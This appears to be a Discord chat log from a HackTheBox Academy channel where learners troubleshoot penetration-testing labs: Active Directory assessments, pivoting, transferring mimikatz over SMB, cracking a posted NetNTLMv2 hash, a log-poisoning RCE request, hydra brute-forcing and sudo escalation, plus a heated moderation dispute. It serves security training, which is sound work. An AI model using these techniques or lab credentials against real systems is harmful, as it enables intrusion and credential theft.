#modules

1 messages · Page 202 of 1

next bronze
#

^

hot ledge
#

Yeah, had some issues with SSO so i deleted the old one and made new, but now i can't identify

maiden field
next bronze
maiden field
#

thats not really intuitive when your a noob like me x)

next bronze
#

I think you gdb wasnt' set up right

fathom pendant
next bronze
#

^ all value you're seeing in gdb is in b16

maiden field
fathom pendant
#

hex to decimal conversions aren't that hard

#

it might be that gdb defaults to 16

maiden field
fathom pendant
#

10 is a good number to know in all your bases

next bronze
fathom pendant
#

i.e. 10 = N in baseN

maiden field
next bronze
#

nope

fathom pendant
#

man pages are good

next bronze
#

I mean it doesn't really matter, if you see a-f, it's b16, if you only see numbers, it's b10

fathom pendant
#

^

#

the step instructions being in b16 for gdb won't influence the storage output of variable

maiden field
#

I'll check more about that

#

thanks for the help 🙂

fathom pendant
#

it just means you may need to change your step + to be the hex equiv to the decimal one

next bronze
#

if you want to quickly convert hex in bash
echo $((16#<hex>)) e.g echo $((16#a)) prints 10

upbeat dragon
#

ssh from windows is different from linux? "you can open a PowerShell console on MS01 and SSH to 172.16.5.225 with the credentials htb-student:HTB_@cademy_stdnt!" when i do ssh htb-student@172.16.5.225 and enter the psw it fails, what am i missing here

fathom pendant
upbeat dragon
#

Exactly yes

fathom pendant
#

then it should work

upbeat dragon
#

To use the secretsdump.exe

fathom pendant
#

it could be that for w/e reason the clipboard isn't carrying over

upbeat dragon
#

doing a ping to the ip responds from the windows host

fathom pendant
#

if you're trying to copy/paste

upbeat dragon
#

will do manually, lemme see

fathom pendant
#

also it's set up to just right-click paste

next bronze
#

what's the problem here? you can't ssh from your linux attack host?

fathom pendant
#

(also adding +clipboard to your xfreerdp makes copy/paste features more stable)

#

they likely don't have a pivot set up

#

and tbh it's not strictly necessary ¯_(ツ)_/¯

upbeat dragon
#

LOL i tried pivoting but everything is not possible

#

Tried dynamic port fortwarding but coudlnt

#

i just entered the psw manually and it worked, so weird

#

Thanks again marcie

fathom pendant
#

np

#

sometimes it's just dumb

buoyant void
#

Alright I'm really stuck on this AD assessment 2...I managed to get a SYSTEM shell on the SQL01 host, and the next question asks for Administrator access on MS01, I found an Admin hash in memory but trying to pass that hash has proven futile any tips, am I not on the right path assuming this hash I found is the one needed?

slender shoal
next bronze
#

it's him POGGERS

fathom pendant
#

source: job hunting and one of the jobs had this as their job post name

next bronze
fathom pendant
#

10/10 (btw the job itself was for a business analyst)

next bronze
#

actual 5Head job

next bronze
hot ledge
#

Question, how do i setup so i have access to the internet while connected through the vpn on my kali machine?

fathom pendant
#

the vpn shouldn't effect anything

#

it's a split-tunnel; i think you need to go to the interface and select it though and "only use this for resources on it's network" or something

#

plenty of people have had the same thing asked in #1024429874246590575 so maybe you can find a thread there that's been resolved and contains the answer

hot ledge
#

but it does for some reason, i can't go through to the internet

#

Ill take a look around

fathom pendant
#

discord also has a handy search feature

hot ledge
#

Yeah, but don't know what to search for.

buoyant void
next bronze
#

what command

fathom pendant
buoyant void
#

Which gave me a hash for an Administrator user that I then tried to pass through evil-winrm, xfreerdp, CME, but nothing

fathom pendant
next bronze
buoyant void
#

Now i found mascache v2, but I'm guessing from your answer that thats not what I'm looking for lol

next bronze
cedar void
#

So is the reason why I am not seeing any mimikatz.exe file in the /windows/temp directory is because I might not have the right permissions:
sudo smbserver.py -smb2support CompData /usr/share/mimikatz/Win32/

PS C:\windows\system32\inetsrv> cd ../../../
PS C:> net use \10.10.15.20\CompData
PS C:> copy \10.10.15.20\CompData\mimikatz.exe \windows\temp
PS C:> cd windows\temp
PS C:\windows\temp> dir

fathom pendant
cedar void
fathom pendant
#

try specifying a filename after C:\windows\temp\

#

i.e.. C:\windows\temp\mimikatz.exe

#

windows is very touchy about specifying output files

next bronze
#

also dir your own share, is the right file even there

fathom pendant
#

it should be, they showed earlier that they started the smbserver from that file location

buoyant void
#

Which is the local admin account for the SQL01 host so I understand the point of distinguishing between local and domain accounts, however I don't know how I can specify this in mimikatz

next bronze
#

you can't, it will return whatever infromation it finds, in this case the DA's creds simply isn't present on that host

#

I've already said that you won't find DA creds there

buoyant void
next bronze
#

you will find the next step, it's just not DA creds

buoyant void
#

Ah okay gotcha

next bronze
#

use my tool if you can't figure it out, should be easier to spot

cedar void
fathom pendant
cedar void
fathom pendant
#

i meant in the directory that 'has' the mimikatz file you're trying to download

#

alternatively dir \\ip\share\ should list

cedar void
fathom pendant
#

interesting

#

and if you do ls -la on YOUR system in that directory what's there

#

(the /usr/share/mimikatz/Win32/ directory)

cedar void
fathom pendant
#

weird

#

idk what's going on with it then ¯_(ツ)_/¯

next bronze
#

without error output we don't know what's going wrong

#

get a proper shell

fathom pendant
#

That too

#

The shell you're using isn't redirecting errors to you, so you can't see what's wrong

green dawn
#

I'm having some problems getting the flag from the module Web Enumerations. When I log in with the credentials I found I just get a white page. I checked a walk through cause I couldn't find any other info than the one I tried to login with. The walk through used the exact same credentials, found the same way, but got a flag. Any ideas what might be the problem on my end? I'm using a VM with Parrot OS if tha can be an issue?

fathom pendant
#

That shouldn't be an issue, the pwnbox is a parrot vm

astral inlet
#

is it "normal" that the computers.json file does not load on the skill 1 AD ?

heavy marsh
#

Just trying to transfer SharpHound for AD Skills Assessment 2, but there seems to be an issue

uncut widget
#

Hello, not sure if this is the correct chat to ask. I couldn't figure out where to put this but anyone else have troubles downloading the OVPN?

uncut widget
#

Nvm! I think I finally got it. Had to swap the server selection

haughty girder
#

ip:port/filename

refer playlist https://www.youtube.com/watch?v=kRI_LgymWmk&list=PLhaWVsHHAWfukp27Y1XZkZF4-Jbp1X92_ for other ways to transfer

Unlock efficient file sharing for OSCP students, pentesters, and ethical hackers: In this tutorial, discover how to effortlessly transfer files from Kali Linux to Windows using a Python HTTP server. Simplify your workflow and enhance your cybersecurity toolkit with this step-by-step guide.

Disclaimer: This tutorial is intended for educational...

▶ Play video
fathom pendant
#

:P

fathom pendant
#

which is fairly early on in the CPTS path

heavy marsh
#

You will have to excuse me

cedar void
fathom pendant
heavy marsh
fathom pendant
#

try adding -UseBasicParsing

#

yes: but i'm referring specifically to the error you're receiving

haughty girder
fathom pendant
#

at least not to my knowledge

#

the error doesn't indicate that's the issue at least

astral inlet
#

ok skill asessment 1 from ad done 🙂

haughty girder
#

Giving it a try doesn't hurt is what i think. Ofcourse, lot of errors does not straight away give exact solution. But -UseBasicParsing should work as well with -URI i think

astral inlet
#

wget $IP:$PORT/$FILE -o $FILE works 🙂

#

i did it 20 times or so in the last hours

cedar void
astral inlet
#

i use mounting my drives via xfreerdp or remmina

cedar void
astral inlet
#

i use chisel and proxychains

limber river
astral inlet
#

i will have a look into ligolo-ng soon

limber river
astral inlet
#

thx 🙂

#

i am going to sleep , hopefully i can do ad skill asessment part II then 😉

cedar void
limber river
cedar void
limber river
cedar void
fathom pendant
#

binaries are the executable files

#

everything in that page is a binary

#

you just untar the file and boom, you have a ready-to-go file

limber river
fathom pendant
#

proxy is for your system; agent is for targets

limber river
copper spindle
#

Can you guys list some great-modules using less cube?

limber river
twin kelp
#

My machine has been "terminating" for 15 mins now? What steps can i take, I have closed and end my browser session yet its still terminating. I have this problem only every night using an enterpise account

indigo locust
#

Anyone having problem spawning Target machine?

twin kelp
indigo locust
sleek moss
#

hi guys how to fix target not spawn i cahnged my vpn settings and no work 😦

twin kelp
#

I believe this is day 3 or 4 that its happened to me in a row

cedar void
sleek moss
#

hi guys how to fix target not spawn i cahnged my vpn settings and no work 😦

indigo locust
inland mesa
indigo locust
#

Just spawned target machine

fathom pendant
#

but the reason it's failing to move is because you don't have a /tools/ligolo/ directory

#

mv doesn't automatically create a directory, you need to add a flag to the command for it to do so

cedar void
fathom pendant
#

no you have a /home/{username}/tools/ligolo directory

#

there's a huge difference :)

#

two of the options would have been either mv file tools/ligolo/ or mv file ~/tools/ligolo/

#

when you just tell it /tools/ligolo it's looking in the filesystem root for /tools/ (which likely doesn't exist)

#

this is basics of linux

limber river
sleek moss
#

attacking common services + 1 What is the password for the "mssqlsvc" user?

#

do i use responder to capture the hash?

fathom pendant
#

perhaps

#

use the techniques as discussed in the section/module

sleek moss
#

||mssqlsvc::WIN-02:5410f9edd7d1aad2:E596AEF74C7AC8B5814CB402C393FB72:010100000000000000441CF0DA61DA011F7BD92A5A9E364C0000000002000800560042003100340001001E00570049004E002D004D0033005A005900390046005500430045004600560004003400570049004E002D004D0033005A00590039004600550043004500460056002E0056004200310034002E004C004F00430041004C000300140056004200310034002E004C004F00430041004C000500140056004200310034002E004C004F00430041004C000700080000441CF0DA61DA0106000400020000000800300030000000000000000000000000300000C4A07265C5BBE84D23FDB8C10487302A9B3CE13BAF231C09E941646BA766B9690A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00350035000000000000000000 what is the ntlm hash right here||

#

what is the last bit and middle bit?

#

is that full thing that ash>?

limber river
#

even that this is type of hash is very famous

fathom pendant
#

and can be cracked with hashcat

buoyant void
#

So I took a break for a while from AD skills assessment 2, came back with some freshly brewed coffee sat down and instantly saw where I was going wrong, after I got over that hump everything else came pretty easily. That was definitely a fun Assessment

#

@next bronze thanks for the nudge in the right direction btw I appreciate that you didn't just spoil it and let me figure it out on my own

lucid sluice
#

why is the FQDN in is ns.inlafreight.htb and not roo.inlanefreight.htb ? why is ns.inlafreight.htb is even FQDN i thought it was suppose to be a subdomain?

fathom pendant
#

the true answer is in the NS and A record

#

both showing the answer

acoustic owl
lucid sluice
fossil vessel
#

i had issue with AD module page 35 ...

#

is anyone having same issue while submitting answers

fathom pendant
#

"AD module page 35" isn't very helpful dude

#

just link the page

buoyant void
#

I'm pretty sure he means AD skill assessment 2 it says page 35 on it

#

and no I had no issues submitting my answers at least

fathom pendant
#

then further try and understand what they're trying to do

buoyant void
#

Yeah and I just remembered there are other AD modules on HTB academy so my guess could be completely wrong

fathom pendant
#

you're likely right but being lazy with questions means you'll get lazy answers in response usually

buoyant void
#

Yeah fair enough

fathom pendant
#

and if their issue is with an answer then it's likely they're wrong or have an extra space or plenty of other plausible things ¯_(ツ)_/¯

shut quest
uncut widget
#

Heya, im connnected to a machines ovpn but I cannot ping the ip, what might cause this?

fathom pendant
#

could be a multitude of things

#

can you scan it with nmap -Pn ip?

#

but also if you're referring to active boxes on https://app.hackthebox.com then you're likely better off reading #welcome and asking in another channel after linking your account

uncut widget
#

Just hanging unfortunetly

granite vapor
#

Hi, is it just me or does modules always require more than what is shown with the module.

acoustic owl
#

Each module deals with one topic. However, prior knowledge may be necessary. Some of the modules also build on each other

fathom pendant
#

every module details page has a blurb for example Footprinting:
A firm grasp of the following modules can be considered prerequisites for successful completion of this module:

  • Linux Fundamentals
  • Network Enumeration with Nmap
  • Introduction to Networking
  • Windows Fundamentals
#

Usually they're referencing other modules

#

but you can always check those modules to see if you know the content

#

for example: Network Enum with Nmap is before footprinting in the CPTS path, and the Fundamental courses are in the "Information Security Fundamentals" path that's considered a pre-requisite for CPTS

#

so in theory you should have a grasp of the concepts being referred to

plain coral
#

AD Enumeration & Attacks - Skills Assessment Part II - Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host.

Can someone help me with this? I've got a rev shell with Print Spoofer exploit, got the highest privs. I've uploaded mimikatz to get the admin hash. However, when i use evil-winrm to pass the administrator NTLM hash I can't authenticate to MS01.

fathom pendant
#

are you sure the hash you're finding is the admin hash for ms01

granite vapor
fathom pendant
#

and some people aren't interested in doing the paths and just wanna take the courses they're interested in

#

¯_(ツ)_/¯

plain coral
fathom pendant
#

i mean you have AN admin hash

#

¯_(ツ)_/¯

plain coral
fathom pendant
#

🙄 perhaps the hash you have is admin for the SQL server

#

if you want me to be more direct about it

buoyant void
rustic sage
#

hows it going guys i need 57 more cubes to unlock using web proxises module, does anyone know if getting the monthly sub will unlock it or do i have to get more cubes ?

fathom pendant
sleek moss
#

anyone know parrotos htb edition will update

fathom pendant
#

?

#

htb edition isn't really maintained by HTB contrary to the name

#

it's maintained by parrot devs; latest edition is 6.0 download from their site

#

atm they don't have ARM architect versions of the download

#

but they've been working on getting stuff up as soon as they get it stable

sleek moss
#

dat mean i cant sudo apt update dat shid?

fathom pendant
#

if the repos are available you can, but if you're running ARM - then you're not gonna have a major update atm

#

also for parrot distributions it's best, for full-upgrades, to do sudo parrot-upgrade as it's a wrapper for update & upgrade that does some autocleaning once it's done

sleek moss
#

oh i c danke

silver swan
#

Can I give you my email?

sleek moss
#

why

fathom pendant
sleek moss
#

hell no

silver swan
fathom pendant
#

but also porque why?

sleek moss
#

you want to hire an elite hacker?

fathom pendant
#

this isn't the channel nor server for that kind of thing

silver swan
#

Isn't it nice that you will get the e-mail and play it?

sleek moss
#

why

#

what that thang do

silver swan
#

nice

raven lagoon
#

what, you want my number?

fathom pendant
sleek moss
#

tell me why you wan tto email

raven lagoon
#

nvm missunderstanding

sleek moss
#

and i will email you

fathom pendant
#

<@&861185840277487616> they've resorted to spamming their email now

sleek moss
#

a keylogger >:)

fathom pendant
sleek moss
#

i joke

raven lagoon
fathom pendant
#

i have, they've said no

sleek moss
#

why

fathom pendant
#

¯_(ツ)_/¯

raven lagoon
#

hell nah

fathom pendant
#

i mean i can definitely be more of an asshole as not a staff member

#

so some more freedom of tongue there ¯_(ツ)_/¯

raven lagoon
#

💀

rustic sage
#

(⁠✷⁠‿⁠✷⁠)

acoustic owl
#

What exactly is your part?

woven copper
#

anyone with a Hint for skill assessment on advance XSS and CSRF module, i'am able to bypass CSP and get XSS to myself , but all my payloads that target admin seems like admin don't see the images so i am missing something to make admin trigger my payloads.
thanks an advance

urban wadi
fathom pendant
#

I have, they've said no

urban wadi
#

did they say why tho?

fathom pendant
#

nope

#

most companies don't give a reason why ¯_(ツ)_/¯

urban wadi
fathom pendant
#

it's not uncommon LOL

urban wadi
fathom pendant
#

yes HackTheBox is a company

urban wadi
#

wait fr?

fathom pendant
#

yes

#

the people with the "Staff" role are actual legit employees of HTB

sleek moss
#

are you a pen tester irl

urban wadi
#

i though it was like comunity with profit-like goals and also educations as well

fathom pendant
#

they need to have some level of staff to be able to operate a support chat

urban wadi
fathom pendant
urban wadi
#

alr...

fathom pendant
#

they have a CEO

urban wadi
#

ik the ceo

#

falcon mentioned him

fathom pendant
#

Falcon is a part-time staff at HTB

urban wadi
fathom pendant
#

no

#

just apply on their website

#

there's plenty of positions that aren't pentester positions

sleek moss
#

u sure?

fathom pendant
#

yes LOL

#

i've looked at their positions to apply for

#

we're getting off-topic at this point

urban wadi
urban wadi
#

only @remote latch can

urban wadi
fathom pendant
#

you can only link your htb account to one discord account

fathom pendant
#

@slender shoal can you kindly help them out kek

#

anyway glhf on modules guys

sleek moss
#

danke u too

acoustic owl
urban wadi
fathom pendant
#

your main would have to be unlinked

acoustic owl
urban wadi
#

:(

fathom pendant
#

like you can't have 2 discord accounts linked to the same htb account

fathom pendant
#

it's reasonable

#

lol it prevents impersonation attempts if someone somehow got ahold of your identifier

#

it's also an ease of moderation tool

#

allows actions to be tied to a user and action can be taken on the platform as well, depending.

urban wadi
next bronze
fathom pendant
#

or taking over an account that has a decent rank in order to shill a writeup ¯_(ツ)_/¯

fathom pendant
#

or as someone who's dodging and weaving ban evades

urban wadi
fathom pendant
#

i mean if the account is tied to you then the account can get banned ¯_(ツ)_/¯

acoustic owl
next bronze
urban wadi
ruby whale
#

Almost two weeks to go before I attemp AEN module, damn this was exhausting. 🙂

faint gulch
raven lagoon
hot ledge
#

I wanted to ask, whats the best path to get into cyber security? I started on Networking module first then queued up few more like windows/lynux basics etc. But i wonder would it be better to start off on pen tester module right away?

compact patrolBOT
fathom pendant
hot ledge
patent oak
#

Until now I was enumerating and then going down a rabbit hole when I found something. It just dawned on me that it might be more manageable to enumerate everything I can see and make a list of creds, files of interest, etc, before I go to work on any of it. How do you guys go about starting a new network?

#

I found it easy to get lost when dealing with more than one host

#

Also... Hard Password lab kinda easy, no?

ruby whale
patent oak
#

I'd say thats one of the things that's been causing my brain to melt. Especially when dealing with several users, password mutations and services. I don't know how many times I've spent ages on one service and the door was wide open on another. kek

#

This is a great course. I loved the password module

dusk tide
#

Hello, Im having a problem in my account in htb academy where in I changed my email account into my student email, then when I'm verifying it, there is problem occured, and now I can't use my account since I need to verify it, but the problem is I didnt receive any email in my student email. sorry this might be off topic to this channel, I hope you can help me. Thanks guyss

onyx dust
# fathom pendant they need to have some level of staff to be able to operate a support chat

they need to hire real community manager(s) who are well trained and know about conflict resolution. my friend's company http://greynoise.io hired one and she's amazing. they are real game changers. if u get 55m and can't hire a cm to lube ur customers up and keep the peace but instead have someone like your buddy cloud (who is defo bad for optics. posting mod abuse pictures then saying things like "i've announced my arrival" is narcissistic and concerning - a paid cm with a proper communications and media background would N-E-V-E-R)

GreyNoise captures data on IPs that scan the internet and saturate security tools with internet noise, so SOC teams can focus on threats that matter and ignore those that don’t.

#

it's bad for optics to have a moderator who is accused of being abusive post memes about it and do narcissistic things like write, "i have to announce myself" subsequent to an emotional and dramatic exit-stage-left

open mica
#

Hi, I am having the same issue.Would you mind if I DM you?

onyx dust
#

that's just my opinion. as someone who isn't a kid being sold trainings and promises about an industry into which they've no insight.

#

also, culturally, hackers go to war over less.

#

know your customer.

cedar void
crystal steeple
#

i try to connet to tomcat manager but when i enter the credentials they wont let me in in the manager page

#

in shells and payload live engagement

crystal steeple
#

tomcat / Tomcatadm

raven lagoon
#

weird, i did that yesterday and it worked

crystal steeple
#

same i did it yesterday and its worked and now they wont let me in

raven lagoon
#

try to change VPN

crystal steeple
#

whenever i put the username and password this panel keeps re appearing

crystal steeple
raven lagoon
#

the only possibility is that you are inserting wrong creds

crystal steeple
#

when you do insert wrong creds they redirect you to a 401 unauthorized error page

#

unlike when putting the right creds

#

im confused

raven lagoon
#

which means that the creds were wrong

crystal steeple
#

yeah true

#

i just wrote the password in note copied it nd pasted it

#

and its worked, seems like i was putting wrong password somehow

raven lagoon
#

._.

#

bro

#

less JJK more pentesting cmon

crystal steeple
#

what does jjk means?

#

lol

raven lagoon
limber river
crystal steeple
#

because of internet *(always disconneted network from rdp) and because i was putting wrong pw this whole time

raven lagoon
#

i had to wait 10+ secs to write a command

crystal steeple
raven lagoon
#

but the rest is quite chill, i completed all in 1/2 days

cedar void
# limber river You need to fix your go packages

So I determined that the main.go is not in the path its supposed to be in (with the /agents/main.gto folder ...but I typed 'locate main.go' on my machine and a bunch of results for main.go come ...but they are all in different directories. Not sure which one to use

go build -o proxy cmd/proxy/main.go
cannot find package "cmd/proxy/main.go" in any of:
/usr/lib/go-1.19/src/cmd/proxy/main.go (from $GOROOT)
/home/htb-ac-767577/go/src/cmd/proxy/main.go (from $GOPATH)
┌─[eu-academy-1]─[10.10.15.83]─[htb-ac-767577@htb-egtfxomkph]─[~]
└──╼ [★]$ go build -o agent cmd/agent/main.go
cannot find package "cmd/agent/main.go" in any of:
/usr/lib/go-1.19/src/cmd/agent/main.go (from $GOROOT)
/home/htb-ac-767577/go/src/cmd/agent/main.go (from $GOPATH)

shut wraith
#

Module:

File Inclusion

Section:
Log Poisoning

Question:
Try to use a different technique to gain RCE and read the flag at /
My payload:

GET /index.php?language=/var/log/apache2/access.log&cmd=cat%20/c85ee5082f4c723ace6c0796e3a3db09.txt

I have accessed the log and placed the shell in user just like the module says to do, but when I use the payload above I dont see the response of the commands

placid edge
#

damn. NetExec is a lot better for network enumeration

tulip ether
#

Just learned about nmap firewall evasion in the nmap module, so interesting with the -sA (ack scan) that the FW gets confused and does not know if a host on the internal network has initiated the connection with the external network.

astral inlet
#

hardest part so far

limber river
#

hello , any ideas abt how to disable windows privilege after enabling them , for example I enable SeBackupPrivilege using the SeBackupPrivilegeCmdLets but what if I want to backtrack my actions ?

astral inlet
#

in a real world scenario ?

limber river
wheat laurel
#

hello , what is your question

astral inlet
#

ah ok in a real world scenerio, hopefully your report covers it so the admins can set it back to "normal"

#

sorry i am bit dizzy from the skill lab 2

limber river
short hare
limber river
next bronze
#

afaik no, either use the gui or call the winapi directly

limber river
next bronze
#

correct

limber river
next bronze
#

idk what you're referring to for SeBackupPrivilegeCmdLets, but you can take a look at the source code, it will be the same thing but removing instead of enabling the priv

limber river
autumn palm
#

anyone having problems with the network?

cedar void
# cedar void So I determined that the main.go is not in the path its supposed to be in (with ...

I tried copying the main.go code from the ligolo github page and creating a folder called agent(that would contain my main.go code) and the build command still did not work.

Is it even required that I even do the build command(despite that being the first step in the ligolo steps github page?). All of the video tutorials I have looked at seemed to skip this step and go directly to downloading the binaries I would need

limber river
next bronze
#

why build it when there are precompiled binaries

limber river
#

the precompiled binaries are better since they will work on all the machines

cedar void
limber river
cedar void
limber river
oblique spoke
#

Hi I am currently linux priv escalation Environment enumeration. I found an another user || lab_adm||and sudo -l gave me || /bin/ncdu || but i am strugguling to escalate privs can someone point me in the right direction?

limber river
#

you need to find smtg that spawn the shell

oblique spoke
limber river
cedar void
# limber river no need

So are these the two excutables that you downloaded on your kali linux machine?

ligolo-ng_agent_0.5.2_windows_amd64.zip

ligolo-ng_proxy_0.5.2_linux_amd64.tar.gz

oblique spoke
limber river
oblique spoke
#

i tried su lab_adm

limber river
cedar void
limber river
oblique spoke
cedar void
limber river
oblique spoke
limber river
#

sudo -u lab_adm /bin/ncdu

oblique spoke
#

oh shit

#

thank you mate

vital zephyr
#

Hi everyone, I'm encountering a problem in the ''attacking smb'' section of the ''attacking common services'' module. https://academy.hackthebox.com/module/116/section/1167

in particular I am referring to question 3:

The last question is difficult to interpret, it says to make an ssh connection once the password has been discovered, but when I connect it tells me
jason@10.129.203.6: Permission denied (publickey).

so I thought of using smbmap -H 10.129.203.6 -u jason -p ' -password-' --download " GGJ\id_rsa"

download the rsa-id for me

and how do I use it now?

#

please help me when u have finish

#

ed

fathom pendant
#

using an rsa_id file is BASICS (heck i believe it's shown in the getting-started module)

#

you gotta make sure it's not world writeable or readable

#

changing linux file permissions should be easy

vital zephyr
#

I changed the permissions, 600

onyx dust
#

clearly

#

¯_(ツ)_/¯

vital zephyr
#

marcieeeell

fathom pendant
#

i mean not all mods are staff

vital zephyr
#

thanks ❤️

#

i have finished

fathom pendant
#

basics go a long way

vital zephyr
#

ahahha sometimes i am very stupid

fathom pendant
onyx dust
#

? i described behaviors and did not resort to any vulgarity or profanity

#

wym 'shit talk'

#

these events happened.

fathom pendant
#

you literally talked about cloud as an example. also referring to "A real CM would N E V E R"

onyx dust
#

yes as in a professional community manager who is paid AS A JOB

fathom pendant
#

and moderators aren't there to be CMs

onyx dust
#

i also used my friend company as an example that you're glossing over

fathom pendant
#

i'm not glossing over that lol it's irrelevant to the point i'm making

next bronze
onyx dust
#

i was making a point that a company with 55m in funding would do well to have one and citing examples of real behaviors and instances of actual professionals being used

onyx dust
fathom pendant
#

"meaningful context" your friend owns their own company, congrats?

#

different communities have different needs

onyx dust
#

no, the behaviors from a professional and a volunteer are being compared. you can not ignore the other half of the comparison marcie

fathom pendant
#

I like most of the Community Staff that exist here

onyx dust
#

¯_(ツ)_/¯

fathom pendant
onyx dust
#

you seem like you would.

fathom pendant
#

he never purported to be staff

onyx dust
#

you present as someone who is vying for position.

#

best of luck with that.

zenith vigil
#

you present as someone with a stick up their arse

fathom pendant
#

"This volunteer isn't as proffessional as someone paid to do the job," OK?

next bronze
fathom pendant
#

not to mention, cloud stepped away from the server for a bit to cool off instead of remaining in and potentially doing more damage

vital zephyr
#

keep calm guys, there is no need to get so heated, we are all friends and the best, if they like to help the less good, but we are and remain all friends ❤️

onyx dust
#

i'm indifferent

coarse kraken
#

Clearly not

onyx dust
#

just making observations

vital zephyr
#

fewer observations, more exploiting

#

more hacking

onyx dust
#

i'm done with the newest release

fathom pendant
#

"just making observations" - Calling a mod out for having a shitty moment of character rather than their behavior overall

onyx dust
#

are u done w/newest release?

#

maybe less chatting more hacking. there are two paths on that one which are fun to discover.

coarse kraken
minor glacier
fathom pendant
coarse kraken
onyx dust
#

sure but when you use the argument that i should be exploiting more and i respond with content in the same environment which promotes exactly that, it's 'shit'

#

i thought it was fun not shit.

fathom pendant
# coarse kraken Cool

bans on average aren't just handed out easily; reportedly there were conversations with mods behind the scenes that led to some of the bans

#

and speaking for some of the people that got hit, it's absolutely fuckin funny considering what they've said

coarse kraken
#

Just to save you tme i dont care all that much

fathom pendant
coarse kraken
#

infact im gonna head out

analog dock
#

Yup, that’s why I said nowadays

onyx dust
#

i'm allowed to say that behaviors which are bad for optics are indeed bad for optics. when you wear a dominos pizza uniform and hit someone with your car it's a bad look for the pizza place.

#

compared to a real life example of how it's done well it just escapes you and you characterize my observations as shit talking. too bad.

vital zephyr
#

jinn don't be touchy

narrow nacelle
#

Hi guys, I'm stuck at "Information Gathering - Virtual Hosts". I got all 4 flags but can't find the last one. The question says to look for a specific vhost that starts with the letter "d". I checked all of them but don't know which one could be the right one. Any hints?

coarse kraken
#

Target has been spawning for a solid 15 minutes 😭

fathom pendant
#

and those who know the situation will know ¯_(ツ)_/¯

analog dock
fathom pendant
#

i disagree with that notion but w/e

analog dock
#

I rarely agree with jinn, but this time I do

fathom pendant
#

it just feels like taking a dig at someone instead of trying to be more general to prove a point

#

because being honest there have been a lot of shitty mods in the past

analog dock
#

I’ll consider it 2 birds 1 stone

fathom pendant
#

that would have been far more apt to mention rather than cloud

#

like cloud's outburst was a drop in the bucket for terrible behavior exhibited by mods

analog dock
#

You’d expect at least some level of professionalism

next bronze
#

welp tbh it's not a good argument to say there were worse mods

fathom pendant
dim wolf
#

the Investigating With Splunk module was amazing

tranquil axle
# dim wolf the Investigating With Splunk module was amazing

if you want to practice it on a big scale look into the free "boss of the soc" from splunk. Its a ctf that has a ton of logs from several computers over a span of weeks that you can investigate with splunk, everything from reading someones emails to checking their browsing history to ransomware execution

dim wolf
minor stag
#

I'm having some issues with hydra in the Basic Toolkit. I'm on the skills assessment, and I'm guessing my syntax is wrong but I can't figure out where. Right now I've got: hydra -l user -P /usr/share/wordlists/rockyou.txt <IP> -s <port> http-post-form "/admin_login.php:user=^USER^&pass=^PASS^:F=<form name='log-in'"

#

When I run it, it says the first 16 passwords are all matches and then stops.

tranquil axle
# minor stag When I run it, it says the first 16 passwords are all matches and then stops.

the :F=<form name'log-in' part at the end tells hydra how it detects a failure or success (in your case a failure, because of the "F"). what it means is "try to log in with these credentials, if you see the following in the html response its a failure: <form name='log-in'. If it detects everything as success then it means your filter in the end is wrong and it doesn't appear in a incorrect login

minor stag
#

log-in is what I found in the source code for the name of the form, so I'm not sure where else to look to find a fail criteria

tranquil axle
#

check if its really written that way, with single quotes and all that

agile torrent
#

html might also chuck some classes between form and the name=, might be easier to use some plaintext on the page

#

or just the string 'log-in'

tranquil axle
#

yea like the text on the login button or something

#

just something that sticks out

minor stag
#

So apparently my router is blocking me from sending any information through the username and password blocks because it's unencrypted. That might be the reason.

fathom pendant
#

oof

minor stag
#

Yep, that was the reason. I'm an idiot. Thanks for the help guys.

fathom pendant
#

it's never DNS (it was DNS)

minor stag
#

At least I know netgear armor does something I guess

agile torrent
remote latch
agile torrent
#

reading through your notes and you see the answer you wrote down 3 hours ago :(

upbeat dragon
#

Hey Guys, me again haha.. For the following question: "What other user in the domain has CanPSRemote rights to a host?" i'm using the provided cypher query and it always returns the same user which is not the answer..

subtle cave
#

hey guys im pretty new to hackthebox and wanted to ask if maybe anyone can help me setting up the openvpn connection to the Machines i can try to hack there, i dont know if sth on my macbook isnt set up allright or im just really blind but i cant fix it myself.. if this aint the right channel please let me know 🙂 thanks in advance

astral inlet
#

hi , did you google it before ?

raven lagoon
#

pls stop being that cutie

subtle cave
#

yes ofc i did but im also following a tutorial but the weird thing is it says there should be 2 open ports when i scan it with nmap but i just find once open port (22/tcp) and thats not the one needed so i dont know where my "misstake" is

raven lagoon
#

pls change your pfp it hurts me

fathom pendant
raven lagoon
#

patrick

fathom pendant
subtle cave
fathom pendant
#

read #welcome to find out how to access more of the server

raven lagoon
astral inlet
karmic dagger
#

How do I access the Academy server?

upbeat dragon
#

both caps lock, lowercased l0l

astral inlet
#

when there are 2 , 1 its not not , who could it be then ?

#

sometimes the questions are missleading

raven lagoon
#

how tf is long password attacks module

shut quest
astral inlet
#

is it the part wth a user beginning with "y" ?

upbeat dragon
#

It always returns the user for***@inlanefreight.local and the machine being MS01

#

Same as the user explained in the section

astral inlet
#

link ?

upbeat dragon
astral inlet
#

the "b" one ?

subtle cave
#

sry me again... can anyone help me or tell me who would be willing in helping me in the first steps? im kinda lost
and i wrote in a wrong channel (i know) but i cant find the right one and im just looking for some help and this is what this community is fot.. so please tell me what i can do or who can help me please
i tried it the whole day with youtube tutorials and the stuff on the website but it didnt work for me..

karmic dagger
#

I am having issues figuring out where to go with the Attacking Common Services - Easy box. I identified the open ports on it and tried brute forcing smtp and ftp with the password list from the Resources tabs and rockyou.txt with no results. I tried brute forcing mysql with hydra but it errors out. Any help is appreciated.

upbeat dragon
astral inlet
#

yes

#

the question is missleading

upbeat dragon
#

I really cant believe that i spent one entire hour and still havent figure it out, this is so frustrating man

astral inlet
#

i know

#

😄

upbeat dragon
#

Already crying for the Skill assessment for this module

astral inlet
#

i finished it today

upbeat dragon
#

I envy you

#

Why is the question missleading?

astral inlet
#

because it asks for "other"

upbeat dragon
#

Query used: ||MATCH p1=shortestPath((u1:User)-[r1:MemberOf1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote1..]->(c:Computer) RETURN p2||

upbeat dragon
#

In my head ive to use that query on bloodhound and expect 2 users, ||FOREND|| and the one im missing..

shut quest
karmic dagger
shut quest
astral inlet
#

naaaaaaaaaaaaa

indigo locust
#

PASSWORD ATTACKS >>>
Password Attacks Lab - Medium>>>
Examine the second target and submit the contents of flag.txt in /root/ as the answer.

Hey all, in above question I tried using Hydra to get list of username with possible passwords but it didnt give any results. I'm not sure how else to look for a user or get to root. Can someone help/hint?

